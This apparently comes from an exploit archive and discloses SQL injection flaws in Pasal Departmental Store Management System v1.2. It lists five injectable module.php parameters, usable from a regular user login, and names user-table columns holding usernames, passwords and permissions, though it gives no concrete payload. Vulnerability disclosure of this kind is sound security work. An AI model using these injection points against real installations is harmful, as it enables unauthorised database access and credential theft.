29 lines
No EOL
1.1 KiB
Text
29 lines
No EOL
1.1 KiB
Text
# # # # #
|
|
# Exploit Title: Pasal - Departmental Store Management System v1.2 - SQL Injection
|
|
# Google Dork: N/A
|
|
# Date: 17.03.2017
|
|
# Vendor Homepage: http://webstarslab.com
|
|
# Software : http://webstarslab.com/products/pasal-departmental-store-management-system/
|
|
# Demo: http://webstarslab.com/departmental-store-management-system/store/
|
|
# Version: 1.2
|
|
# Tested on: Win7 x64, Kali Linux x64
|
|
# # # # #
|
|
# Exploit Author: Ihsan Sencan
|
|
# Author Web: http://ihsan.net
|
|
# Author Mail : ihsan[@]ihsan[.]net
|
|
# # # # #
|
|
# SQL Injection/Exploit :
|
|
# Login as regular user
|
|
# http://localhost/[PATH]/module.php?module=vendors&page=edit-vendors&id=[SQL]
|
|
# http://localhost/[PATH]/module.php?module=units&page=edit-units&id=[SQL]
|
|
# http://localhost/[PATH]/module.php?module=currency&page=edit-currency&id=[SQL]
|
|
# http://localhost/[PATH]/module.php?module=category&page=edit-category&id=[SQL]
|
|
# http://localhost/[PATH]/module.php?module=purchase&y=[SQL]&m=[SQL]
|
|
# tbl_users:id
|
|
# tbl_users:username
|
|
# tbl_users:password
|
|
# tbl_users:email
|
|
# tbl_users:full_name
|
|
# tbl_users:permission
|
|
# Etc..
|
|
# # # # # |